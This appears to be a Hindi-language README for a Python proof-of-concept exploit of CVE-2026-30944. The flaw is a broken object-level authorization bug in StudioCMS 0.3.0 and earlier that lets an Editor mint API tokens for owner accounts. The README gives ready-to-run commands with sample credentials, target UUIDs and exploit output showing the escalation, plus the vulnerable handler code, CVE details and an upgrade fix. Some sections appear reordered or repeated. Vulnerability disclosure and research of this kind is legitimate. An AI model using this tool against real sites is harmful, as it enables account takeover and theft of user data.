
CVE-2026-30944 के लिए Python प्रूफ-ऑफ-कॉन्सेप्ट, जो StudioCMS में BOLA भेद्यता का फायदा उठाकर असुरक्षित API टोकन जनरेशन के माध्यम से विशेषाधिकारों को बढ़ाता है।
StudioCMS में असुरक्षित API टोकन जनरेशन के माध्यम से विशेषाधिकार वृद्धि
StudioCMS ≤ 0.3.0 में POST /studiocms_api/dashboard/api-tokens एंडपॉइंट किसी भी प्रमाणित उपयोगकर्ता (न्यूनतम Editor भूमिका) को किसी भी अन्य उपयोगकर्ता के लिए API टोकन जनरेट करने की अनुमति देता है, जिसमें owner और admin खाते शामिल हैं।
एंडपॉइंट अनुरोध बॉडी में लक्ष्य उपयोगकर्ता UUID निर्दिष्ट करने वाला एक user पैरामीटर स्वीकार करता है, लेकिन कभी सत्यापित नहीं करता कि अनुरोध करने वाला उपयोगकर्ता उस लक्ष्य की ओर से टोकन बनाने के लिए अधिकृत है या नहीं। यह एक क्लासिक Broken Object Level Authorization (BOLA) भेद्यता है जिसके परिणामस्वरूप पूर्ण विशेषाधिकार वृद्धि होती है।
┌──────────────┐ POST /api-tokens ┌──────────────┐
│ │ {"user":"<owner-id>"} │ │
│ Attacker │ ─────────────────────────► │ StudioCMS │
│ (Editor) │ │ Server │
│ │ ◄───────────────────────── │ │
└──────────────┘ {"token":"eyJhb..."} └──────────────┘
│ │
│ GET /rest/v1/users │
│ Authorization: Bearer <owner-token> │
│ ─────────────────────────────────────────►│
│ │
│ ◄─────────────────────────────────────────│
│ [Full user data as Owner] │
│ │
| फ़ाइल | विवरण |
|---|---|
cve_2026_30944_poc.py | मैनुअल और स्वचालित मोड के साथ Python शोषण स्क्रिप्ट |
README.md | यह फ़ाइल |
LICENSE | MIT लाइसेंस |
Editor खाते के लिए मान्य क्रेडेंशियलpip install requests colorama
# संपादक खाते का उपयोग करके मालिक के लिए API टोकन जनरेट करें
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# परिणाम JSON में सहेजें
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--save
# भेद्यता की पुष्टि के लिए कई भूमिकाओं के साथ परीक्षण करें
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
| तर्क | विवरण |
|---|---|
-u, --url | लक्ष्य StudioCMS आधार URL |
--uuid | लक्ष्य उपयोगकर्ता UUID (जैसे, मालिक खाता) |
| तर्क | विवरण |
|---|---|
--username | प्रमाणीकरण के लिए उपयोगकर्ता नाम |
--password | प्रमाणीकरण के लिए पासवर्ड |
| तर्क | विवरण |
|---|---|
--save | परिणाम JSON फ़ाइल में सहेजें |
--no-ssl-verify | SSL प्रमाणपत्र सत्यापन अक्षम करें |
──────────────────────────────────────────────────────────
PHASE 1: Authentication
──────────────────────────────────────────────────────────
[+] Authenticated as 'editor01'
[*] Session user: editor01 (editor)
[*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
PHASE 2: Privilege Escalation
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Generating API token for target user...
[+] API token generated successfully!
[!] Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...
──────────────────────────────────────────────────────────
PHASE 3: Verification
──────────────────────────────────────────────────────────
[*] Verifying token access on REST API...
[+] VULNERABILITY CONFIRMED — Full API access achieved!
[*] Retrieved 9 user records
──────────────────────────────────────────────────────────
PHASE 2: Privilege Escalation
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Generating API token for target user...
[*] Access denied (403 Forbidden) — endpoint may be patched
[-] Exploitation failed — token not generated
packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (पंक्तियाँ 16–57) पर भेद्य हैंडलर JSON बॉडी से एक user पैरामीटर स्वीकार करता है और इसे प्राधिकरण जांच के बिना सीधे टोकन जनरेशन फ़ंक्शन में पास करता है:
// [1] केवल जाँचता है कि कॉलर संपादक है या नहीं — वे किसके लिए टोकन बना रहे हैं, यह नहीं
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] अनुरोध बॉडी से 'user' — प्रमाणित सत्र के विरुद्ध कोई सत्यापन नहीं
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);
// [3] सीधे टोकन जनरेशन में पास — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);
प्राधिकरण मॉडल केवल "क्या कॉलर कम से कम एक संपादक है?" सत्यापित करता है, बजाय "क्या कॉलर इस विशिष्ट उपयोगकर्ता के लिए टोकन बनाने के लिए अधिकृत है?"
StudioCMS को संस्करण 0.4.0 या बाद में अपडेट करें:
npm install studiocms@latest
यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है।
Filipe Gaudard
यह PoC शैक्षिक उद्देश्यों के लिए MIT लाइसेंस के तहत जारी किया गया है। जिम्मेदारी और नैतिकता से उपयोग करें।
| फ़ील्ड | मान |
|---|
| CVE | CVE-2026-30944 |
| GHSA | GHSA-667w-mmh7-mrr4 |
| CVSS v3.1 | 8.8 (उच्च) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-639: उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण बाईपास |
| CWE (द्वितीयक) | CWE-863: गलत प्राधिकरण |
| MITRE ATT&CK | T1134 — एक्सेस टोकन हेरफेर |
| OWASP API | API1:2023 — Broken Object Level Authorization |
| प्रभावित | studiocms ≤ 0.3.0 |
| समाधान | studiocms 0.4.0 |
| तर्क | विवरण |
|---|
--auto-test | स्वचालित बहु-भूमिका परीक्षण सक्षम करें |
--editor-user | संपादक खाता उपयोगकर्ता नाम |
--editor-pass | संपादक खाता पासवर्ड |
--visitor-user | आगंतुक खाता उपयोगकर्ता नाम |
--visitor-pass | आगंतुक खाता पासवर्ड |